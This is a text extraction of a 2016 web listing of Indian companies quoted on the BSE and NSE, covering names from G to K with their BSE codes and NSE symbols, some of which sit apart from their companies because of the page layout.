GatewayDistr.

532622

GDL

Gati

532345

GATI

http://www.marketonmobile.com/search.php

GNFC

GSFC

GABRIEL

GAIL

GALPOWTEL

GANESHBENZ

GANGOTRI
GARDENSILK

GARWARPOLY

33/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GauravMercant.

539515

GayatriBioOrga.

524564

GayatriProjects

532767

GayatriSugars

532183

GayatriTissue

512479

GaziFin.Serv.

530195

GCCLConst.

531953

GCCLInfrastruct

531375

GCMCapital

538319

GCMCommodity

535917

GCMSecurit.

535431

GCVServ.

531601

GDLLeasing

530855

GDRMedia

531114

GEShippingCo

500620

GEE

504028

GeeGeeGranites

515097

GeeCeeVent.

532764

GeefceeFinance

530389

GeetanjaliCred.

539486

GEIIndustrial

530743

GemCables&Con

517504

GemSpinners

521133

GEMSPIN

GeminiComm.

532318

GEMINI

GemmiaOiltech

511652

GemstoneInvest.

531137

GeneraAgri

590133

GenesysIntl.

506109

GennexLab.

531739

GENOMICVALLYBIO

539206

GenomicsBiotech

524011

GenusCommutrad.

531939

GenusPaper&Bo

538961

GENUSPAPER

GenusPower

530343

GENUSPOWER

GenusPrime

532425

Geodesic

503699

GEODESIC

GeojitBNP

532285

GEOJITBNPP

GeologgingInds

526630

Geometric

532312

GFLFinancials

531055

GhanshyamSteel

531876

GHCL

500171

GhushineFintrra

539864

GIEngg.Sol.

533048

GISOLUTION

GICHousingFin

511676

GICHSGFIN

GiladaFinance

538788

GillandersArbut

532716

GILLANDERS

GilletteIndia

507815

GILLETTE

GiltPack

507711

GiniSilkMills

531744

GinniFilaments

590025

GINNIFILA

GIRNatureview

532582

GIRRESORTS

Girdhari.Sugar

507506

NARMADASUG

GirirajEntert.

532037

http://www.marketonmobile.com/search.php

GAYAPROJ

GESHIP

GEECEE

GEINDSYS

GENESYS

GEOMETRIC

GHCL

34/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GirishHotel

530875

GirnarFibres

514252

GitaRenewable

539013

GitanjaliGems

532715

GIVO

531613

GKBOphthalmics

533212

GKB

GKW

504704

GKWLIMITED

GlanceFinance

531199

GlaxosmitPharma

500660

GLAXO

GlaxoSmithCHL

500676

GSKCONS

Gleitlager(India

513595

GlenmarkPharma.

532296

GlittekGranite

513528

GlobalCap.Mkt.

530263

GlobalFilms

531660

GlobalInds.

530553

GlobalInfrastr.

523794

GlobalInfratech

531463

GlobalKnitfab

531895

GlobalLand

531479

GlobalOffshore

501848

GlobalSec.

530657

GlobalStone(I)

515115

GlobalSyntex

531872

GlobalVectra

532773

GLOBALVECT

GlobusCorp.

531904

KARUNACAB

GlobusPower

526025

GlobusSpirits

533104

GLOBUSSPR

GlodyneTechno.

532672

GLODYNE

GloriaLeasing

507834

GloryFilms

532857

Gloster

590085

Gloster

538595

GMMPfaudler

505255

GMRInfra.

532754

GoaAgroOils

519181

GoaCarbon

509567

GoaFruitSpec

531477

GOCLCorpn.

506480

GodavariCeramic

515061

GodavariDrugs

530317

GodawariPower

532734

GPIL

GodfreyPhillips

500163

GODFRYPHLP

GodrejConsumer

532424

GODREJCP

GodrejInds.

500164

GODREJIND

GodrejPropert.

533150

GODREJPROP

GoenkaBusiness

538787

GoenkaDiamond

533189

GogiaCapital

531600

GokakTextiles

532957

GokaldasExports

532630

GOKEX

GokulAgro

539725

GOKULAGRO

GokulRefoils

532980

GOKUL

GokulSolutions

780012

http://www.marketonmobile.com/search.php

GITANJALI

GLENMARK

MANTRIHSG

GLOBOFFS

GLORY

GMRINFRA
GOACARBON
GOCLCORP

GOENKA

35/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GOLOffshore

532786

GoldMultifab

531709

GoldRockInves.

501111

GoldcoinHealth

538542

GoldcrestCorpor

505576

GoldenCapital

539853

GoldenCarpets

531928

GoldenGoenka

530579

GoldenLegandLs

509024

GoldenProper.

539492

GoldenProteins

519025

GoldenSoya

519568

GoldenTobacco

500151

GoldenTourist

531992

GoldiamIntl.

526729

GoldlineIntl.

538180

GoldmanBankETS

590106

BANKBEES

GoldmanNiftyETS

590103

NIFTYBEES

GoldmanSachPSU

590108

PSUBNKBEES

GoldmanSachS&P

590109

SHARIABEES

GoldmanSachsGE

590095

GOLDBEES

GoldmanSachsHS

590113

HNGSNGBEES

GoldmanSachsIE

531016

INFRABEES

GoldmanSachsLE

590096

LIQUIDBEES

GoldmanSachsNJ

590104

JUNIORBEES

Goldst.Infratec.

532439

GOLDINFRA

GoldstoneTech.

531439

GOLDTECH

GoldwonTextiles

521230

Golech.Glob.Fin.

531360

GolkondaAlumin.

513309

GolkundaDiamond

523676

GOMIndustries

523802

GontermannPeip

504701

GoodValueIrrgn

531997

GoodValueMktg

500167

GoodearthInds

526929

GoodearthOrg.

524300

GoodluckSteel

530655

GOODLUCK

GoodrickeGroup

500166

GOODRICKE

GoodyearIndia

500168

GOODYEAR

GopalIronStl.

531913

GopalaPolyplast

526717

GopikrishnaGran

526361

GopleeInfotech

531419

GoraniInds.

531608

GordonHerbert

522148

GothiPlascon

531111

GovindPoyOxyg

509586

GovindRubber

509148

GowraLeasing

530709

GoyalAssociates

530663

GPPetroleums

532543

GPTInfraproject

533761

Grab.AlokImpex

532909

http://www.marketonmobile.com/search.php

GTOFFSHORE

GOLCRESFIN

GOLDENTOBC
GOLDIAM

GONTERPEIP
GOODVALUE

GORDONHERB

GOVINRUBER

GULFPETRO
GRABALALK

36/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GraciousSoftwar

780002

GradienteInfo.

590126

GrahamFirthStl

504707

GraintecIndia

519158

GranHealPharma

512614

GrandFoundry

513343

GrandeurProduct

539235

GrandmaTrading

504369

GranulesIndia

532482

GraphicCharts

509440

GraphiteIndia

509488

GRAPHITE

GrasimInds

500300

GRASIM

GratexInds.

526751

Grauer&Weil

505710

GravissHospital

509546

GravitaIndia

533282

Gravity(India)

532015

GreatWestIndl

531504

GreavesCotton

501455

GreenField

538743

GreenField

590127

GreenFire

590057

GreencrestFinan

531737

GREENETH.RES&PRO

533016

GreenfieldCorp

531912

GreenlamIndustr

538979

GreenlandWare

526447

GreenplyInds.

526797

GremachTea

530687

GreycellsEdu.

508918

GrindwellNorton

506076

GRMOverseas

531449

GromoTrade

501314

GrovyIndia

539522

GrowthTechno

521337

GROWTECHNO

GRP

509152

GRPLTD

GRUHFinance

511288

GRUH

GSAL(India)

513321

GSBFinance

511543

GSL(India)

503738

GSL

GSLNovaPetro.

530605

GSLNOVA

GSLSecurities

530469

GSSInfo.

532951

GTCLMobileCom

532080

GTL

500160

GTL

GTLInfra.

532775

GTLINFRA

GTNIndustries

500170

GTNIND

GTNTextiles

532744

GTNTEX

GTVEngineering

539479

GuficBioScience

509079

GUFICBIO

GujAlkalies

530001

GUJALKALI

GujApolloInds

522217

GUJAPOLLO

GujFluorochem

500173

GUJFLUORO

GujGasCompany

523477

GUJRATGAS

http://www.marketonmobile.com/search.php

GRANDFONRY

GRANULES

GRAVITA

GREAVESCOT

GREENFIRE
AUSTRAL
GREENLAM
GREENPLY

GRINDWELL

GSS

37/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GujInds.Power

517300

GIPCL

GujNRECoke

512579

GUJNRECOKE

GujPipavavPort

533248

GPPL

Guj.AmbujaExp

524226

GAEL

Guj.AquaInds.

519347

Guj.Automotive

505712

Guj.Bonan.Auto

523996

Guj.Borosil

523768

Guj.BulkPacks

531188

Guj.CarbonInds

506457

Guj.ChemiPlast

524776

Guj.Containers

513507

Guj.CraftInds

526965

Guj.CreditCorp

511441

Guj.Cypromet

530467

Guj.DehydFoods

526135

Guj.Filament

514012

Guj.Fiscon

531984

Guj.Hotels

507960

Guj.IndoLube

523552

Guj.Inject

524001

Guj.Inject(Ker)

524238

Guj.Intrux

517372

Guj.Investa

531341

Guj.LeaseFin.

500174

Guj.Meditech

524754

Guj.Nar.Flyash

526598

Guj.Perstorp

526385

Guj.Petrosynth.

506858

Guj.Pipes

517445

Guj.PolyAvx

517288

Guj.RaffiaInds

523836

Guj.Refractor.

515053

Guj.RodrelEngg

520105

Guj.SidheeCem.

518029

GSCLCEMENT

Guj.StateFin.

532160

GUJSTATFIN

Guj.Telephone

500175

GUJRATTELE

Guj.TerceLabs.

524314

Guj.Texspin

521129

Guj.ThemisBio.

506879

Guj.Toolroom

513337

Guj.WedgeWire

513129

Guj.Nat.Resour.

513536

Guj.NREDVR

570003

GUJNREDVR

Guj.St.Petronet

532702

GSPL

GujaratArth

532058

GujaratBitumen

539009

GujaratCotex

514386

GujaratFoils

531410

GujaratGas

539336

GujaratMetallic

531881

GujchemDistill

506640

GulfOilLubric.

538567

GULFOILLUB

GulshanPolyols

532457

GULPOLY

http://www.marketonmobile.com/search.php

GUJBOROSIL

GUJCYPROM

GLFL

GUJRAFFIA

GUJTHEMIS

GUJCOTEX
GUJGASLTD

38/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
GummadiInds.

531243

GuptaSynthetics

514116

GVKPowerInfra.

532708

GwaliorPolypipe

506987

GwaliorStrips

513014

GWLProperties

508809

GyanDevelopers

530141

GyscoalAlloys

533275

GAL

HDFC

500010

HDFC

HDIL

532873

HDIL

HFCL

500183

HFCL

HKTradeInter.

539337

HPCL

500104

HPCottonTex

502873

HPMInds.

531575

HTMedia

532662

H.S.India

532145

HalderVenture

539854

HaldynGlass

515147

HangsengIndex

1141

HanilEraText

500177

HanjerFibres

514308

HansaflonPlasto

526079

HanumanTea

519580

HanungToys

532770

HarborNetwork

531094

Hardcast.&Waud

509597

HariGovindIntl

531971

HariaApparels

538081

HariaExports

512604

HaricharanProj.

539125

HarigCrankshaft

500178

HARIGCRANK

HaritaSeating

590043

HARITASEAT

HariyanaMetals

506024

HariyanaShip

526931

HarmonyCapital

530055

HarpartapSteel

513689

Harri.Malayalam

500467

HarshPolymers

514370

HarshvarChem.

507745

HartronCommn

517419

HarvicManagem

511613

HaryanaCapfin

532855

HaryanaFin.Co.

530927

HaryanaLeather

524080

HaryanaSheet

515143

HaryanaSteel

504601

HaryanaTexprint

514296

HasLifestyle

780014

HastiFinance

531387

HathwayBhawani

509073

HathwayCable

533162

HATHWAY

HatsunAgroProd.

531531

HATSUN

HavellsIndia

517354

HAVELLS

http://www.marketonmobile.com/search.php

GVKPIL

HINDPETRO

HTMEDIA

HANILERA

HANUNG

HARIAEXPO

HARRMALAYA

HARYANSHET

39/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
HawaEngineers

539176

HawkinsCookers

508486

Haz.MultiProj.

532467

HBEstateDevel.

532334

HBLeasing&Fin.

508956

HBPortfolio

532333

HBStockholdings

532216

HBSTOCK

HBLPowerSystem

517271

HBLPOWER

HCLInfosystems

500179

HCLINSYS

HCLTechnologies

532281

HCLTECH

HDFCBank

500180

HDFCBANK

HDFCGoldETF

533230

HDFCMFGETF

HDFCNifty

539516

HDFCNIFETF

HDFCSensexETF

539517

HDFCSENETF

Health.Global

539787

HCG

HealthforeTech.

533525

HealthyInvestm.

503689

HeatshrinkTech.

522130

HEBLuggageIndl

523058

HECInfraProj.

532533

HeeraIspat

526967

HEG

509631

HEG

HeidelbergCem.

500292

HEIDELBERG

HeliosMatheson

532347

HELIOSMATH

HellaIndia

520026

HelpageFinlease

539174

HemHoldings&T

505520

HemadriCements

502133

HemakutaIndl.

511260

HemangResources

531178

HemoOrganic

524590

HendezElectron

517234

HerculesHoists

505720

HERCULES

HeritageFoods

519552

HERITGFOOD

HermanMilkfoods

519428

HeroMotocorp

500182

HEROMOTOCO

HesterBios

524669

HESTERBIO

HexaTradex

534328

HEXATRADEX

HexawareTech.

532129

HEXAWARE

HiTechDrugs

524424

HiTechPipes

532601

HighEnergyBat.

504176

HighGround

517080

HighStreetFila

531301

HighlandInds.

507940

Hikal

524735

HIKAL

HilLtd

509675

HIL

HiltonMet.Forg.

532847

HILTON

HiltonRubber

509613

HimContainers

523535

HimachalFibres

514010

HimachalTubes

517029

HimadriChemical

500184

HCIL

HimalayaGranite

513723

HIMGRANITE

http://www.marketonmobile.com/search.php

HAWKINCOOK

REPLENGINE
HECPROJECT

HITECH

40/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
HimalchuliFood

511169

HimalyaIntl.

526899

Himatsing.Auto

515435

Himatsing.Motor

509063

Himatsing.Seide

514043

HimgiriFincap

531827

HimgiriFoods

519244

HinafilIndia

526779

HindAluminium

531979

HindCommerce

538652

HindInds.

526307

HINDIND

HindRectifiers

504036

HIRECT

HindSecurities

539114

HindSyntex

503881

HINDSYNTEX

Hind.Nitroprod.

524544

HINDNITRO

Hind.Udyog

513039

Hind.Unilever

500696

Hind.Adhesive

514428

Hind.Appliances

531918

Hind.BioScience

532041

Hind.Breweries

507140

Hind.Composites

509635

HINDCOMPOS

Hind.Construct.

500185

HCC

Hind.Copper

513599

HINDCOPPER

Hind.DorrOliver

509627

HINDDORROL

Hind.Ever.Tools

505725

Hind.FluoroCarb

524013

Hind.Foods

519126

Hind.HardySpice

505893

Hind.HousingCo.

509650

Hind.Motors

500500

HINDMOTORS

Hind.Natl.Glass

515145

HINDNATGLS

Hind.OilExplor.

500186

HINDOILEXP

Hind.Organ.Chem.

500449

HOCL

Hind.PhotoFilms

524316

Hind.TinWorks

530315

Hind.Tools

526037

Hind.Wires

504713

Hind.Zinc

500188

HINDZINC

HindalcoInds.

500440

HINDALCO

Hindoo.Mills

509895

HindujaFoundrie

505982

HINDUJAFO

HindujaGlobal

532859

HGS

HindujaVentures

500189

HINDUJAVEN

HindustanAgrig.

519574

HindustanMedia

533217

Hipolin

530853

HiraAutomobile

531743

HiraFerroAlloy

533256

HiranOrgochem

506170

HisarMet.Inds.

590018

HisarSpg.Mills

521068

HitKitGlobal

532359

HitachiHome

523398

http://www.marketonmobile.com/search.php

HIMATSEIDE

HINDUNILVR

HINDTINWRK

HMVL

HIRAFERRO

HITACHIHOM

41/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
HitechPlast

526217

HITECHPLAS

HitechiJewel.

526486

HITECHIJEW

HitekInds.

513003

HiteshTextile

531284

HitkariChina

531485

HitkariInds.

530633

HittcoTools

531661

HMT

500191

HMT

HondaSielPower

522064

HONDAPOWER

HoneywellAuto

517174

HONAUT

HotelLeelaVen.

500193

HOTELEELA

HotelRugby

526683

HOTELRUGBY

HotlineGlass

500195

HOTLINGLAS

HotlineTeletube

517208

HOVServices

532761

HowardHotels

526761

HPCBiosci.

535217

HRBFloriculture

531724

HSIL

500187

HSIL

Hubtown

532799

HUBTOWN

HuhtamakiPPL

509820

PAPERPROD

HusysConsulting

532590

HUSYS

HybridFinancial

500262

MAFATLAFIN

Hyd.Lamps

500196

HydroflexEquip

531818

Hypersoft

539724

HytoneTexstyles

514258

IDFC

532659

IDFC

IGPetrochems

500199

IGPL

IKFFinance

530719

IOB

532388

IOB

IOCL

530965

IOC

IPowerSoln.

512405

ITDC

532189

IAGCompany

502241

IBInfotech

519463

IBOVESPAIndex

1144

IcconOil

523766

ICDS

511194

ICDSLTD

ICESSoftware

517502

INTCOMTECH

ICICIBank

532174

ICICIBANK

ICICINiftyETF

537007

INIFTY

ICICINiftyETF

500502

NIFETF

ICICIPr.CNXETF

537008

ICNX100

ICICIPr.CNXETF

500507

ICCNX100

ICICIPru.Gold

533244

IGOLD

ICRA

532835

ICRA

ICSA(India)

531524

ICSA

ICVLSteels

534733

IDBIBank

500116

IDBI

IDBIGoldETF

533719

IDBIGOLD

IdeaCellular

532822

IDEA

IdealCarpets

526259

IdealOptics

531328

http://www.marketonmobile.com/search.php

HOVS

INDOASAHI

42/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
IDFCBank

539437

IDFCBANK

IDI

506485

INDYESTUF

IDreamFilm

504375

IECEducation

531840

IFBAgroInds.

507438

IFBAGRO

IFBInds.

505726

IFBIND

IFCI

500106

IFCI

IFGLRefractor

532133

IFGLREFRAC

IFLPromoters

511682

IFMImpexGlobal

522289

IFSL

531998

IgarashiMotors

517380

IGARASHI

IGateComputer

532517

PATNI

IGCFoils

539449

IIFLHoldings

532636

IIFL

IIFLNiftyETF

500476

IIFLNIFTY

IITLProj.

531968

IKABSecurities

514238

IKFTechnolog.

532414

IL&FSEngg.

532907

IL&FSENGG

IL&FSInv.Manag.

511208

IVC

IL&FSTransport

533177

IL&FSTRANS

IM+Capitals

511628

IMCFinance

505539

IMPPowers

517571

INDLMETER

ImpexFerroTech

532614

IMPEXFERRO

InaniMarbles

531129

InaniSec.

531672

InannaFashion

521167

Inc.Engineers

522095

Incap

517370

IncapFin.Serv.

530887

InconEngineers

531594

IndBankHousing

523465

INDRenewable

536709

IndTraDeco

504336

IndAgivCommer.

517077

IndSwift

524652

INDSWFTLTD

IndSwiftLabs.

532305

INDSWFTLAB

IndagRubber

509162

IndageRest.

532264

IndageVintners

522059

IndbankMerchant

511473

INDBANK

Indbul.Wholesale

533520

IBWSL

Indbull.RealEst.

532832

IBREALEST

IndergiriFin.

531505

IndiaCem.Cap.

511355

IndiaCements

530005

IndiaECommerce

531061

IndiaFinsec

535667

IndiaGelatine

531253

IndiaGlycols

500201

IndiaHome

530979

IndiaInfras.

531343

http://www.marketonmobile.com/search.php

INDTRADECO

INDIACEM

INDIAGLYCO

43/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
IndiaIntl.Mktg.

531053

IndiaLeaseDev.

500202

INDIALEASE

IndiaMotorPart

590065

IMPAL

IndiaNipp.Elec.

532240

INDNIPPON

IndiaPolyspin

514490

IndiaPowerCorp

532130

IndiaRadiators

505100

IndiaRubber

523788

IndiaSecurities

500204

INDIASEC

IndiaSteel

513361

ISIBARS

IndiaSugars

507150

IndiaVIX

531641

INDIAVIX

IndiabullsFin.

532544

INDIABULLS

IndiabullsHous.

535789

IBULHSGFIN

IndiabullsVent.

532960

IBVENTURES

IndiacoVentures

506131

IndianAcrylics

514165

INDIANACRY

IndianBank

532814

INDIANB

IndianBrightSt

504731

IndianCardCloth

509692

IndianElectro

506490

IndianExtractn.

524614

IndianHotels

500850

INDHOTEL

IndianHumePipe

504741

INDIANHUME

IndianInfotech

509051

IndianLinkCh.

504746

IndianMagnetics

523313

IndianMetals

533047

IndianPolyfins

514292

IndianSteelRol

513275

IndianSucrose

500319

OSWALSUG

IndianTerrain

533329

INDTERRAIN

IndianToners

523586

IndiaNivesh

501700

InditaliaRefcon

517526

InditradeCap.

532745

Indl.Inv.Trust

501295

Indl.&Prud.Inv.

501298

IndoAmines

524648

IndoAsiaFinanc

530747

IndoBiotech

519222

IndoBonito

531084

IndoBorax&Ch.

524342

IndoBrit.Agro

530911

IndoCotspin

538838

IndoCountInds.

521016

IndoCreditCap.

526887

IndoEuroIndch.

524458

IndoFrenchBio.

519538

IndoGulfInds.

506945

IndoJapanPhoto

523111

IndoNational

504058

IndoPacificPro

531565

IndoRamaSynth.

500207

http://www.marketonmobile.com/search.php

DPSCLTD

INDIANCARD

IMFA

IITL

INDBIOFOOD

ICIL

INDOFREBIO

NIPPOBATRY
INDORAMA

44/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
IndoTech.Trans.

532717

INDOTECH

IndoThaiSec.

533676

INDOTHAI

IndoVanillon

531267

IndoAsianFood

531674

IndoCityInfo.

532100

IndoGermaProds

526791

IndoGlobal

539433

IndoMaxwell

523546

IndocoRemedies

532612

Indokem

504092

IndoreWireCo.

504784

Indosolar

533257

IndovationTech.

521005

IndowindEnergy

532894

IndraIndustries

539175

Indrapr.Medical

532150

INDRAMEDCO

IndraprasthaGas

532514

IGL

IndrayaniBio

526445

IndsilHydro

522165

Indsoya

503639

InduNissanOxo

500208

InductoSteel

532001

IndusFila

532821

IndusFinance

531841

IndusNetworks

532381

IndusIndBank

532187

INDUSINDBK

INEOSStyrolut.

506222

INEOSSTYRO

InertiaSteel

512025

InfibeamIncorp.

539807

INFIBEAM

InfiniteComp

533154

INFINITE

InfoEdg.(India)

532777

NAUKRI

InfoDriveSoftw

530703

INFODRIVE

InfoBeansTech.

532560

INFOBEANS

InfomediaPress

509069

INFOMEDIA

InformationTech

523758

ITIL

InformedTechn.

504810

Infosys

500209

InfraInds.

530777

InfraquestIntl.

531793

InfronicsSys.

590118

InfronicsSys.

537985

INGVysyaBank

531807

INGVYSYABK

IngersollRand

500210

INGERRAND

Inhouse

526610

InlacGranston

513617

InlandPrinters

530787

Innocorp

531929

InnovassynthInv

533315

InnovationSoft.

517433

InnovativeTech

523840

InnoventiveInd.

533402

InnoventiveVen.

512375

InnovisionECom

512447

InoxLeisure

532706

http://www.marketonmobile.com/search.php

INDOCO

INDOSOLAR
INDOWIND

INDUNISSAN
INDUSFILA

INFY

INNOIND

INOXLEISUR

45/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
InoxWind

539083

INOXWIND

Insecticid.India

532851

INSECTICID

Insilco

500211

INSILCO

InstaFinance

511433

IntecCapital

526871

Intecon(India)

512541

Integ.Capital

539149

Integ.Fin.Co.

511031

Integ.Fin.Serv

500212

Integ.Hitech

532303

Integ.Proteins

519606

Integ.RubianEx

523572

Integ.Techno.

531889

Integ.Thermopl.

530921

IntegraCapital

531314

IntegraEngg.

505358

IntegraGarments

535958

IntegraIndia

517250

IntegraSwitch

517423

IntegraTele.

536868

IntegralKnitCo

514298

IntellectDesign

538835

Intelli.Capital.

534732

IntellivateCapi

506134

Intelvisn.Soft.

531777

IntenseTech.

532326

InterGlobeFin

511391

InterStateOil

530259

InteractiveFin

539692

IntercorpInds.

531551

Intercraft

521072

InterfaceFin.

530519

InterglobeAviat

539448

IntergratedDig.

523770

InterlinkExport

523994

InterlinkPetro

526512

Interna.Homotex

526185

Internat.Paper

502330

InterworldDigi.

532072

Intl.Combustion

505737

Intl.Conveyors

509709

Intl.DataMgt.

517044

Intl.Diamond

530193

Intl.Housg.Fin.

530781

Intl.Pumps

539599

Intl.TravelHse

500213

INTLTRAVHS

IntrasoftTech.

533181

ISFT

Inv.&Prec.Cast.

504786

InventureGrow.

533506

InvictaMeditek

523844

IOSystem

523752

IOLChemicals

524164

IOLCP

IOLNetcom

512185

IOLN

IONExchange

500214

IONEXCHANG

http://www.marketonmobile.com/search.php

INTEGRFIN

INTEGRA

INTELLECT

INDIGO

IPAPPM

INVENTURE

46/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
IPRings

523638

IPRINGLTD

IpcaLabs.

524494

IPCALAB

IQInfotech

532421

IRBInfra.Devl.

532947

IrisMediaworks

531337

ISCUdyog

531961

ISF

526859

ISGECHeavy

533033

IshanDyes&Ch.

531109

IshitaDrugs

524400

IshwarshaktiHol

506161

ISLConsulting

511609

ISMT

532479

ISMTLTD

IspatProfile

531464

ISPATPROF

ISPLInds.

513041

IST

508807

iStreetNetwork

524622

IswarMedical

507480

ISWARMEDIC

ITC

500875

ITC

ITDCem

509496

ITDCEM

ITI

523610

ITI

ITLInds.

522183

IVP

507580

IVP

IVRCL

530773

IVRCLINFRA

IVRCLAssets

532881

IVRCLAH

IykotHitech

522245

IZMO

532341

IZMO

J&KBank

532209

J&KBANK

JBChem&Pharm

506943

JBCHEPHARM

JDOrgochem

524592

JDORGOCHEM

JFLabs.

523804

JFLABS

JJExporters

530049

JJFinanceCorp

523062

JKCements

532644

JKLeatherite

519388

JKPharmachem

500218

JKPHARMA

JKumarInfra

532940

JKIL

JLMorison(I)

506522

JMDAlloys

531765

JRFoods

530915

JSPOils&Fat

530383

JTapariaProj

538539

J.K.InvestoTr

506515

J.K.Cotton

502916

J.R.Organics

506650

JacksonInvest

538422

JaganLamps

530711

JagatjitInds.

507155

JagdambaFoods

519578

JagjananiText.

532825

JagranPrakashan

532705

JagranProd.

531695

JagsonAirlines

520139

JagsonpalFin.

530601

http://www.marketonmobile.com/search.php

IRB

SARASIND

JKCEMENT

JAGAJITIND

JAGRAN

47/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
JagsonpalPharma

507789

JAGSNPHARM

JaiBalajiInds.

532976

JAIBALAJI

JaiBharatSynth

531239

JaiCorp

512237

JaiMataGlass

523467

JaidkaInds.

519441

JaihindProjects

531339

JaihindSynth

514312

JaimataInds.

514392

JainIrrigatDVR

570004

JISLDVREQS

JainIrrigation

500219

JISLJALEQS

JainMarmoInds

539119

JainStudios

532033

JaincoProjects

526865

JainexAamcol

505212

JaipanInds.

505840

JaipurUdyog

502145

JaisukhDealers

780001

JalpacIndia

523230

JamesHotels

526558

JamesWarrenTea

538564

JamnaAutoInds.

520051

Jamsh.Ranji.Sp

502901

JanakTurboDyn.

522247

JarigoldText.

512329

JaschInds.

500220

JASCHIND

JaswalGranites

515089

JASWALGRAN

JattashankarInd

514318

JaussPolymers

526001

JayBharatMar.

520066

JayEnergy

526523

JayMaheshInfra

590132

JayShreeTea

509715

JayUshin

513252

JayVinyls

514424

JayabharatCred.

501311

JayantAgroOrg.

524330

JayantMercan.

512129

JayantPaper

502390

JayaswalNeco

522285

JayatmaSpinners

539005

JayavantProd.

531382

JaybharatFabric

507924

JaybharatText

512233

JaykayEnter.

500306

JKSYNTHETC

JaypeeInfratec.

533207

JPINFRATEC

JayshreeChem.

506520

JaysynthDyestuf

506910

JAYDYSTUF

JBFInds.

514034

JBFIND

JBMAuto

532605

JBMA

JCL

530335

JCT

500223

JCT

JCTElectronics

500222

JCTEL

JeetMach.Tools

513012

http://www.marketonmobile.com/search.php

JAICORPLTD

JAIHINDPRO

JAINSTUDIO

JAMNAAUTO

JAYBARMARU

JAYSREETEA

JAYAGROGN

JAYNECOIND

48/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
JeevanScienti.

538837

JemInds.

504072

JenburktPharma

524731

Jenson&Nich.

523592

JENSONICOL

JetAirways

532617

JETAIRWAYS

JetInfraventure

538794

JetkingInfotrai

517063

JeyporeSug.Co

590054

JEYPORE

JhagadiaCo

504920

SWIL

JhaveriCredits

531550

JhaveriFlexo

507796

JHSSven.Lab.

532771

JigyasaInfrast.

780019

JIKInds.

511618

JindalCapital

530405

JindalCotexLtd

533103

JINDCOT

JindalDrilling

511034

JINDRILL

JindalHotels

507981

JindalPhoto

532624

JINDALPHOT

JindalPolyFilm

500227

JINDALPOLY

JindalPolyInve

536773

JPOLYINVST

JindalSaw

500378

JINDALSAW

JindalStain.Hi

539597

JSLHISAR

JindalStain.

532508

JSL

JindalSteel

532286

JINDALSTEL

JindalWorldwide

531543

JINDWORLD

JiyaEcoProduct

539225

JKAgriGenetics

536493

JKLakshmiCem.

500380

JKLAKSHMI

JKPaper

532162

JKPAPER

JKSugar

532519

JKTyre&Indust

530007

JLAInfraville

538765

JMFinCredit

508815

JMFinancial

523405

JMFINANCIL

JMCProjects

522263

JMCPROJECT

JMDTelefilms

511092

JMDEPackaging

524378

JMGCorporation

523712

JMPCastings

531159

JMTAuto

513691

JMTAUTOLTD

Jocil

500561

JOCIL

JogEngineering

507942

VMJOGENGG

JohnmeyersGran

513260

JoindreCapital

531861

JointecaEdu.

534659

JollyBoard

502335

JollyMerchand

519191

JollyPlastic

507968

JollyRides

530153

JoonktolleTea

590079

JoonktolleTea

538092

JordEngineers

500232

JostsEngg.Co.

505750

http://www.marketonmobile.com/search.php

JHS
JIKIND

JKTYRE

JORDENGG

49/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
JoyRealty

508929

JPAssociates

532532

JPASSOCIAT

JPPowerVen.

532627

JPPOWER

JPTSecurities

530985

JRIInds.

506016

JSLInds.

504080

JSWEnergy

533148

JSWENERGY

JSWHoldings

532642

JSWHL

JSWISPAT

500305

JSWISPAT

JSWSteel

500228

JSWSTEEL

JTLInfra

534600

JubilantFood.

533155

JUBLFOOD

JubilantInds.

533320

JUBLINDS

JubilantLife

530019

JUBILANT

JullundurMotor

532420

JMA

JumboBag

516078

JUMBO

JumboFinance

511060

JunctionFabrics

539216

JupiterBio.

524826

JupiterInds.

507987

JupiterInfo.

534623

JustDial

535648

JUSTDIAL

JVLAgroIndus

519248

JVLAGRO

JyothiInfra.

531537

JyothyConsumer

532671

JyothyLab.

532926

Jyoti

504076

JyotiOverseas

523876

JyotiPolyVinyl

531623

JyotiResins

514448

JyotiStructures

513250

JyotirgamyaEnt.

539246

KAWires

532581

KAWIRES

KCP

590066

KCP

